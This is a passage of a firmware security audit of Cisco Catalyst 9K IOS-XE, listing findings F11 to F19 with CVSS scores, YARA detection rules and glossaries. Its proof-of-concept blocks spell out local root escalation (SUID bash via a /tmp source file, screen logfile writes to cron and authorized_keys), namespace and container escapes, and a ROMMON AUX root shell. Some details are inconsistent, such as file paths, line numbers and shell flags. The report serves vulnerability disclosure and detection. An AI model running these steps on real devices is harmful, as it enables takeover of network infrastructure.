7 -----BEGIN RSA PRIVATE KEY-----
8 Proc-Type: 4,ENCRYPTED
9 DEK-Info: DES-EDE3-CBC,<iv>
10
11 # client.key -- NO Proc-Type header, unencrypted:
12 -----BEGIN RSA PRIVATE KEY-----
13 MIIJKQIBAAKCAgEAq7ELTtWcZv/rfnfh1lDZjCHWZE6/qUISdr...
14
15 # server.key -- same, no Proc-Type, unencrypted:
16 -----BEGIN RSA PRIVATE KEY-----
17 MIIJKAIBAAKCAgEA...
```

Impact

- `client.key` and `server.key` are directly usable from the firmware image alone; no device access or passphrase is required.
- If the leabasdsk CLI TLS interface uses these as default credentials, an attacker can impersonate either end of leabasdsk communications, potentially including Cisco Smart Licensing transactions.

Detection: YARA Rule

```

rule CAT9K_F11_Leabasdsk_Unencrypted_Keys {
  meta:
    description = "leabasdsk test TLS private keys shipped unencrypted to production"
    id = "CAT9K-F11"
    severity = "Medium"
  strings:
    $key_header = "BEGIN RSA PRIVATE KEY" ascii
    $path = "leabasdsk/test" ascii
```

```

condition:
    all of them
}

```

3.12 CAT9K-F12: codesign.pubkey Uses an Undocumented Cisco-Proprietary Binary Format

Overview / Impact

The code-signing public key at the initramfs root uses a binary format identified by a four-byte proprietary magic header (`ae 02 25 ab`) that does not correspond to any IETF standard (PEM, DER, PKCS#8, SubjectPublicKeyInfo, X.509). The format is not documented in any available Cisco IOS-XE security publication. Verification is performed exclusively by the stripped binary `usr/bin/code\_sign\_verify`, preventing independent inspection of key algorithm, size, and parameter encoding.

CWE-327 (Use of a Broken or Risky Cryptographic Algorithm)

CVSS 3.1: 3.7 Low CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Technical Evidence

`codesign.pubkey` (19200 bytes) and `codesign.revkey` (300 bytes) are at the initramfs CPIO root. Standard tools cannot parse either file.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 initramfs/code-sign.pubkey (19200 bytes)

```

1 $ xxd codesign.pubkey | head -3
2 00000000: ae02 25ab 1234 cd01 0001 0202 0000 0000  ..%..4.....
3 00000010: 0000 0000 0000 0000 0000 0000 0000 0000  .....
4
5 $ file codesign.pubkey
6 codesign.pubkey: data                # not PEM, DER, or PKCS#8
7
8 $ openssl pkey -in codesign.pubkey -inform DER -noout 2>&1
9 unable to load key
10
11 $ nm /usr/bin/code_sign_verify 2>&1
12 nm: code_sign_verify: no symbols

```

Impact

- The proprietary format prevents independent validation of key algorithm and size without reverse engineering `code\_sign\_verify`. If the format encodes weaker parameters than the secure boot documentation claims, the code-signing chain provides less assurance than assumed.
- Third-party audits of the IOS-XE secure boot chain cannot independently verify the public key parameters.

Detection: YARA Rule

```

rule CAT9K_F12_Codesign_Proprietary_Format {
    meta:
        description = "Cisco-proprietary codesign.pubkey format; not standard PEM/DER"
        id = "CAT9K-F12"
        severity = "Low"
    strings:

```

```

    $magic      = { AE 02 25 AB }
    $verifier    = "code_sign_verify" ascii
    condition:
        $magic and $verifier
}

```

3.13 CAT9K-F13: auxinit.sh ROMMON_SR_INIT_SHELL Glob Backdoor — AUX Port Root Shell

Overview / Impact

The AUX port initialization script checks whether ROMMON_SR_INIT_SHELL glob-matches the substring `aux_do_system_shell`. If matched, the script exports root's home directory and execs `/bin/bash-1` with no authentication. This occurs before IOS-XE authentication services start and is therefore immune to IOS-XE AAA reconfiguration. The attack requires only ROMMON access during a power cycle and physical AUX port access after reboot. CWE-306 (Missing Authentication for Critical Function), CWE-489 (Active Debug Code) **CVSS 3.1: 6.8 Medium** CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Technical Evidence

The complete trigger block from `bigbang/etc/auxinit.sh`.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 `bigbang/etc/auxinit.sh`

```

1 if [[ "${ROMMON_SR_INIT_SHELL:-}" == *"aux_do_system_shell"* ]]; then
2     export HOME=/root
3     cd $HOME
4     /bin/bash -l      # no authentication; root shell on AUX port
5 fi
6
7 # Attack path:
8 # 1. ROMMON> set ROMMON_SR_INIT_SHELL=aux_do_system_shell
9 # 2. ROMMON> boot
10 # 3. Connect to physical AUX port (RJ-45 serial, all Cat9K)
11 # => Root bash shell, no credential prompt.

```

Impact

- The delivered shell is `/bin/bash-1` as root. No credential prompt, no PAM invocation, no IOS-XE AAA check.
- The backdoor activates before IOS-XE authentication services start and survives any AAA reconfiguration applied after the ROMMON variable is set.
- The glob match (`*aux_do_system_shell*`) accepts any string containing the trigger phrase, including composite values.

Detection: YARA Rule

```

rule CAT9K_F13_Auxinit_Shell_Glob_Backdoor {
    meta:
        description = "auxinit.sh ROMMON glob delivers unauthenticated AUX root shell"
        id = "CAT9K-F13"
        severity = "Medium"
    strings:
        $var      = "ROMMON_SR_INIT_SHELL" ascii

```

```

    $trigger = "aux_do_system_shell" ascii
    $shell   = "/bin/bash -l" ascii
    condition:
        all of them
}

```

3.14 CAT9K-F14: bexecute SUID Whitelist — shell_exec.sh /tmp TOCTOU Local Privilege Escalation

Overview / Impact

The bexecute SUID binary (rwsr-sr-x root/root) whitelists `shell_exec.sh` in `/usr/binos/conf/uicmd.conf`. When invoked, `shell_exec.sh` constructs a file path as `/tmp/.shell_exec.${args_id}` where `args_id` is the caller-supplied first argument, then bash-sources that file with root effective UID. The `/tmp` directory is world-writable. Pre-creating the args file with malicious content before invoking `bexecute` delivers arbitrary code execution as root from any low-privileged IOS-XE shell user.

[CWE-377](#) (Insecure Temporary File), [CWE-362](#) (Race Condition), [CWE-269](#) (Improper Privilege Management)

CVSS 3.1: 7.8 High CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Technical Evidence

`shell\_exec.sh` sources an attacker-controlled file from `/tmp` with root euid.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 bigbang/usr/binos/conf/shell_exec.sh

```

1 # shell_exec.sh line 28-45 (abbreviated)
2 args_id="${1}" # caller-controlled, no
   sanitization
3 args_file="/tmp/.shell_exec.${args_id}" # world-writable /tmp path
4
5 # ...
6 source "${args_file}" # sourced as bash with root euid via bexecute
   SUID
7 # ...
8 rm -f "${args_file}" # cleanup destroys evidence after execution
9
10 # Attack:
11 # 1. echo 'chmod +s /bin/bash' > /tmp/.shell_exec.exploit
12 # 2. bexecute shell_exec.sh exploit
13 # => /bin/bash is now SUID; /bin/bash -p delivers root

```

Impact

- Local privilege escalation from any IOS-XE shell account to root.
- `bexecute` is used by 80+ administrative scripts; `shell_exec.sh` handles NETCONF sessions and container management, making `args_id` values predictable from process IDs visible in `/proc` or `/tmp`.
- The `rm -f` at line 88 removes the args file after sourcing, leaving no persistent evidence of the injected payload.

Detection: YARA Rule

```

rule CAT9K_F14_Bexecute_ShellExec_TOCTOU {
    meta:

```

```

description = "bexecute SUID + shell_exec.sh /tmp race LPE"
id = "CAT9K-F14"
severity = "High"
strings:
  $bexec = "bexecute" ascii
  $src = "source \"${args_file}\"" ascii
  $tmppath = "/tmp/.shell_exec." ascii
condition:
  all of them
}

```

3.15 CAT9K-F15: GNU screen 4.9.1 SUID Root — Logfile Arbitrary Write Privilege Escalation

Overview / Impact

GNU screen 4.9.1 ships SUID root (rwsr-sr-x root/root, 452 KB) at `/usr/bin/screen` on all Cat9K platform trees. The SUID bit is required for screen's multiuser session sharing feature, which has no legitimate use on a network device. The `-Logfile` flag writes session output to an arbitrary filesystem path as root. Combined with `-D -m` (detached daemon mode), any local user can append to root-owned files including `/etc/crontab`, cron job directories, and SSH authorized keys.

[CWE-269](#) (Improper Privilege Management), [CWE-250](#) (Execution with Unnecessary Privileges)

CVSS 3.1: 7.8 High CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Technical Evidence

The `-Logfile` flag is confirmed present in the binary's help strings.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 bigbang/usr/bin/screen

```

1 # screen 4.9.1, -rwsr-sr-x root/root, 452656 bytes
2 # Binary strings confirm: "-Logfile file Set logfile name."
3 #                               "Must run suid root for multiuser support."
4
5 # LPE via logfile write-as-root:
6 screen -D -m -L -Logfile /etc/cron.d/rootshell /bin/sh -c \
7 'echo "* * * * * root chmod +s /bin/bash" >&3'
8 # => cron runs "chmod +s /bin/bash" as root on next minute tick
9
10 # Alternative: append SSH key as root
11 screen -D -m -L -Logfile /root/.ssh/authorized_keys \
12 /bin/sh -c 'echo "ssh-rsa AAAAB... attacker" >&3'

```

Impact

- Any user with shell access can write to any root-owned path via screen's `-Logfile` flag, including cron directories, SSH keys, and library preload files.
- Screen 4.9.1 includes no CVE for this behavior; it is a design feature that is dangerous only when the SUID bit is present.
- The SUID bit should be removed (`chmod -s /usr/bin/screen`) or screen should be excluded from production firmware entirely.

Detection: YARA Rule

```

rule CAT9K_F15_Screen_SUID_LPE {
  meta:
    description = "screen 4.9.1 SUID root logfile arbitrary write LPE"
    id = "CAT9K-F15"
    severity = "High"
  strings:
    $ver      = "screen-4.9.1" ascii
    $logfile  = "-Logfile file" ascii
    $suid     = "Must run suid root for multiuser support." ascii
  condition:
    all of them
}

```

3.16 CAT9K-F16: SUID nsenter — Unrestricted Linux Namespace Escape

Overview / Impact

nsenter (util-linux 2.39.3) ships SUID root (rwsr-sr-x root/root, 43 KB) at `/usr/bin/nsenter`. Any process can invoke it to attach to any running process's Linux namespaces (PID, mount, network, IPC, user) without privilege. The `-S 0 -G 0` flags set UID/GID to root inside the entered namespace. On Cat9K devices running IOx containerized applications, SUID nsenter enables container escape: enter the container's mount namespace from the host or, from inside the container, attach to the host's PID namespace. The companion script `nsenter_exec.sh` reads the target PID from `/tmp/app_pid.txt` (world-writable), allowing any user to redirect namespace entry to an arbitrary process.

[CWE-269](#) (Improper Privilege Management), [CWE-250](#) (Execution with Unnecessary Privileges)

CVSS 3.1: 7.8 High CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Technical Evidence

`nsenter\_exec.sh` reads PID from a world-writable `/tmp` file and passes unquoted arguments directly to `nsenter`.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 bigbang/usr/binos/conf/nsenter_exec.sh

```

1 # nsenter_exec.sh (abbreviated)
2 GSPID=$(</tmp/app_pid.txt) # world-writable; any user can set target  

3     PID  

4 # ...  

5 /usr/bin/nsenter -t $GSPID -m -u -i -n -p -U -S 0 -G 0 -r -w -Z \  

6     env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/  

7     bin $1  

8 # $GSPID and $1 unquoted (word-split on whitespace)  

9 # Direct SUID call (no script needed):  

10 /usr/bin/nsenter -t 1 -m -u -i -n -p /bin/sh  

11 # => Enters init (PID 1) namespaces; -S 0 -G 0 sets root in namespace

```

Impact

- Any local user can enter any process's namespace set, including the init namespace (PID 1), with root credentials inside the namespace.

- On IOx deployments: enables container escape by entering the container process's mount namespace from the host side.
- /tmp/app_pid.txt (world-writable) lets any user redirect `nsenter_exec.sh` to target any PID, not only the intended guestshell PID.
- Mitigation: restrict nsenter to specific management users via sudo; remove SUID and use CAP_SYS_ADMIN scoped to the guestshell management service.

Detection: YARA Rule

```
rule CAT9K_F16_SUID_Nsenter_Namespace_Escape {
  meta:
    description = "SUID nsenter unrestricted namespace escape; /tmp PID source"
    id = "CAT9K-F16"
    severity = "High"
  strings:
    $nsenter = "/usr/bin/nsenter" ascii
    $tmppath = "/tmp/app_pid.txt" ascii
    $flags = "-S 0 -G 0" ascii
  condition:
    all of them
}
```

3.17 CAT9K-F17: SUID runc v1.1.12+dev — OCI Container Runtime with Unconfirmed CVE-2024-21626 Patch Status

Overview / Impact

`runc v1.1.12+dev` (Go 1.22.2, 9.68 MB) ships SUID root (rwsr-sr-x root/root) at `/usr/bin/runc`, providing OCI container runtime for IOx applications. The `+dev` suffix identifies a pre-release development build; its relationship to the CVE-2024-21626 fix commits (merged to main 2024-01-31, released in 1.1.12 on 2024-02-13) is not determinable from the binary alone. CVE-2024-21626 (CVSS 8.6 High) allows a container process to obtain a host-filesystem file descriptor via a `/proc/self/fd` workdir leak and escape to host root. Independently of CVE applicability, deploying a SUID container runtime on production network infrastructure amplifies every future runc vulnerability.

[CWE-403](#) (Exposure of File Descriptor to Unintended Control Sphere), [CWE-269](#) (Improper Privilege Management)

CVSS 3.1: 8.6 High CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Technical Evidence

Version string and module path confirmed from binary strings output.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 bigbang/usr/bin/runc

```
1 # Binary evidence:
2 # -rwsr-sr-x root/root 9,680,544 bytes (unsquashfs -lls)
3 # strings output: "github.com/opencontainers/runc" module path
4 # version: 1.1.12+dev, Go 1.22.2
5
6 # CVE-2024-21626 mechanism (affects runc <= 1.1.11):
7 # 1. Craft container spec with workdir set to /proc/self/fd/<leaked-fd>
8 # 2. runc leaks host-side fd during container setup
9 # 3. Container process opens /proc/self/fd/<n> => gets host filesystem fd
```



```

10 # 4. Write /etc/crontab or /root/.ssh/authorized_keys via host fd
11 # => Full host root escape from container
12
13 # +dev build: patch applicability requires Go module checksum
    verification
14 # against runc@v1.1.12 release tag

```

Impact

- If the +dev build predates the CVE-2024-21626 fix commits (2024-01-31), any IOx container tenant can escape to host root.
- SUID deployment on production switching hardware amplifies every future runc vulnerability beyond the scope of normal container isolation failures.
- Cisco should pin to a release-tagged version and document the patch epoch in the firmware bill of materials.

Detection: YARA Rule

```

rule CAT9K_F17_SUID_Runc_Dev_Build {
  meta:
    description = "SUID runc +dev build; CVE-2024-21626 patch status
                  unconfirmed"
    id = "CAT9K-F17"
    severity = "High"
  strings:
    $path = "github.com/opencontainers/runc" ascii
    $ver = "1.1.12+dev" ascii
  condition:
    all of them
}

```

3.18 CAT9K-F18: Meraki NETCONF Config Monitor — Hardcoded deveng Account; SSH Key in /tmp; No Host Key Verification

Overview / Impact

Two Meraki NETCONF monitor scripts (`nc_subscribe.py`, `nc_config_updater.py`) hardcode `USERNAME = "deveng"` and store the NETCONF SSH private key at `/tmp/.shell_exec/netconf/1/users/deveng/keys/id_rsa_netconf`. The `/tmp` path is world-writable. Both scripts call `iosp_client -f netconf_enable_passwordless` global deveng to provision a passwordless NETCONF session on port 8281. The `ncclient.connect()` call uses `hostkey_verify=False`, disabling SSH host key verification. On Meraki-managed Cat9K devices, any local process can read or replace the deveng SSH key, impersonating the config monitor or receiving all NETCONF configuration change notifications.

[CWE-798](#) (Hard-coded Credentials), [CWE-297](#) (Improper Certificate with Host Mismatch), [CWE-377](#) (Insecure Temporary File)

CVSS 3.1: 7.8 High CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Technical Evidence

Hardcoded username and world-writable SSH key path confirmed in both scripts.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 bigbang/usr/binos/conf/nc_subscribe.py

```

1  # nc_subscribe.py lines 29, 42, 101-104
2  USERNAME = "deveng"
3  KEYFILE  = "/tmp/.shell_exec/netconf/1/users/deveng/keys/id_rsa_netconf"
4
5  m = manager.connect(
6      host="127.0.0.1", port="8281", username=USERNAME,
7      key_filename=KEYFILE,
8      hostkey_verify=False,      # no SSH host key verification
9      ...
10 )
11
12 # Provisions passwordless account at runtime:
13 subprocess.run(["iosp_client", "-f",
14                 "netconf_enable_passwordless", "global", USERNAME])
15
16 # nc_config_updater.py: identical USERNAME, KEYFILE, hostkey_verify=False
17 # Also writes CONFIG_MODEL_XPATHS_PATH = "/tmp/confd/ndbman_config_xpaths"
18 # (world-writable; controls YANG paths uploaded to Meraki Dashboard)

```

Impact

- Any local process can read the deveng SSH key from /tmp and connect to NETCONF on 127.0.0.1:8281, receiving all configuration change notifications for the entire switch in real time.
- hostkey_verify=False allows MITM interception (e.g., via namespace manipulation or LD_PRELOAD socket intercept) between the Python client and the local NETCONF server without detection.
- Writing to /tmp/confd/ndbman_config_xpaths suppresses or injects YANG config model XPaths, controlling what configuration is visible to Meraki Dashboard.

Detection: YARA Rule

```

rule CAT9K_F18_Meraki_Deveng_Hardcoded_NETCONF {
  meta:
    description = "Hardcoded deveng account; NETCONF SSH key in world-
                  writable /tmp"
    id = "CAT9K-F18"
    severity = "High"
  strings:
    $user      = "USERNAME = \"deveng\"" ascii
    $keyfile   = "/tmp/.shell_exec/netconf" ascii
    $nohost    = "hostkey_verify=False" ascii
  condition:
    all of them
}

```

3.19 CAT9K-F19: xcopy_script.sh Falls Back to curl -k on TLS Error; Meraki Mode Defaults to -k

Overview / Impact

The IOS-XE copy command backend (xcopy_script.sh) falls back to curl -k (certificate verification disabled) on any SSL certificate error, logging only a warning. In Meraki managed mode, CURLFLAGS="-k" is set unconditionally (line 708), meaning all Meraki firmware and configuration downloads bypass TLS server authentication. The Meraki CA bundle includes a certificate that expired in July 2020, which can trigger cert validation failures and activate the insecure fallback on devices using the old CA for trust anchoring.

[CWE-295](#) (Improper Certificate Validation), [CWE-757](#) (Selection of Less-Secure Algorithm During Negotiation)

CVSS 3.1: 7.4 High CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Technical Evidence

Two code paths confirm unconditional or fallback TLS bypass.

Proof of Concept: Confirmed via Static Analysis of IOS-XE 17.18.04 bigbang/usr/binos/conf/xcopy_script.sh

```

1 # Line 59: Meraki CA bundle includes expired cert
2 readonly MERAKI_CA_CERT_FILE="/usr/binos/conf/meraki/ssl/meraki-ca.crt"
3 # Bundle cert 1: CN=Meraki Certificate Authority, notAfter=2020-07-22 (
  EXPIRED)
4 # Bundle cert 2: CN=Meraki Private Config Root CA, notAfter=2037-01-20
5
6 # Line 490: fallback on any SSL error
7 # "falling back to insecure mode for downloading"
8 CURLFLAGS="$CURLFLAGS" -k " # cert verification disabled -- no MITM
  protection
9
10 # Line 708: Meraki download path -- -k by default, no error required
11 CURLFLAGS="-k "
12
13 # Attack: MITM between Cat9K and firmware server
14 # Present invalid cert -> curl retries with -k -> accepts attacker-served
  firmware

```

Impact

- A network-position attacker (ARP spoof, rogue DHCP, route injection) can serve a malicious firmware image or IOS-XE configuration that is installed without integrity verification.
- In Meraki managed mode, all Meraki Dashboard firmware and config pushes bypass TLS server authentication unconditionally (-k by default).
- The warning log message is not surfaced as a failure to the network operator: the copy operation reports success_warning status.

Detection: YARA Rule

```

rule CAT9K_F19_Xcopy_TLS_Bypass_Fallback {
  meta:
    description = "xcopy curl -k fallback on TLS error; Meraki defaults
      insecure"
    id = "CAT9K-F19"
    severity = "High"
  strings:

```

```

    $fallback = "falling back to insecure mode for downloading" ascii
    $flag_k    = "CURLFLAGS=\"-k "      ascii
    $merakica  = "meraki-ca.crt"      ascii
    condition:
      2 of them
  }

```

4 CWE Glossary

CWE	Description	Findings
CWE-116	Improper Encoding or Escaping of Output	F9
CWE-250	Execution with Unnecessary Privileges	F8, F10, F15, F16
CWE-269	Improper Privilege Management	F3, F4, F8, F10, F14, F15, F16, F17
CWE-290	Authentication Bypass by Spoofing	F9
CWE-295	Improper Certificate Validation	F19
CWE-297	Improper Validation of Certificate with Host Mismatch	F18
CWE-306	Missing Authentication for Critical Function	F2, F4, F13
CWE-312	Cleartext Storage of Sensitive Information	F11
CWE-321	Use of Hard-coded Cryptographic Key	F1, F11
CWE-327	Use of a Broken or Risky Cryptographic Algorithm	F12
CWE-362	Race Condition (Concurrent Execution)	F14
CWE-377	Insecure Temporary File	F14, F18
CWE-403	Exposure of File Descriptor to Unintended Control Sphere	F17
CWE-489	Active Debug Code	F6, F7, F13
CWE-494	Download of Code Without Integrity Check	F5, F7
CWE-532	Insertion of Sensitive Information into Log File	F6
CWE-732	Incorrect Permission Assignment for Critical Resource	F2, F3, F5
CWE-757	Selection of Less-Secure Algorithm During Negotiation	F19
CWE-798	Use of Hard-coded Credentials	F1, F18

5 General Glossary

Term	Definition
CAF	Container Application Framework. The Cisco IOx daemon that deploys and manages LXC/KVM containers on IOS-XE. Runs as root and invokes lifecycle scripts including <code>guestshell_setup.sh</code> . See CWE-269 , CWE-732 .

Term	Definition
ConfD	Configuration Daemon (Tail-f, now Cisco). The NETCONF/YANG management backend on IOS-XE. Provides RESTCONF and NETCONF termination and NACM access control. Trusts X-Forwarded-For from 127.0.0.1/32 (F9). See CWE-290 .
CW_TLV	Outer container format for Cisco IOS-XE firmware. Identified by deadbeef TLV magic bytes. Contains compressed sub-packages as TLV values.
guestshell	The default IOx LXC container on Catalyst 9K for hosting Python scripts, Bash automation, and third-party applications within the IOS-XE guest services environment. Activated by CAF via guestshell_setup.sh (F3). See CWE-269 , CWE-732 .
lablogin.sh	Zero-authentication telnet login shell at /etc/lablogin.sh . Reads root's shell from /etc/passwd and execs it without any credential check (F4). See CWE-306 , CWE-269 .
leabasdk	Licensing and Entitlement Architecture SDK. Manages Cisco Smart Licensing communications. Test TLS keys shipped in production at usr/lib64/leabasdk/test/ (F11). See CWE-321 , CWE-312 .
NACM	NETCONF Access Control Model (RFC 8341). Used by ConfD to authorize NETCONF and RESTCONF operations by session identity and source IP. IP-based rules bypassable via spoofed X-Forwarded-For (F9). See CWE-290 .
OpenResty	nginx-based reverse proxy with Lua scripting. The HTTPS frontend for IOS-XE web management, RESTCONF, and the authentication proxy. Ships fallback.key (F1); loads config from /tmp (F5). See CWE-798 , CWE-494 .
ROMMON	ROM Monitor. Cisco bootstrap firmware that runs before IOS-XE loads. Environment variables set in ROMMON persist across reboots and are read by IOS-XE boot scripts. Attack surface for F6, F7, F13. See CWE-489 , CWE-494 , CWE-306 .
rpbase	Primary IOS-XE sub-package (cat9k-rpbase.17.18.04.SPA.pkg). Contains the core OS, configuration, and binaries. Analyzed as an inner SquashFS at byte offset 0x400 .
SquashFS	Read-only compressed Linux filesystem format used by IOS-XE for outer and inner package filesystems. Extracted with unsquashfs using the -offset flag.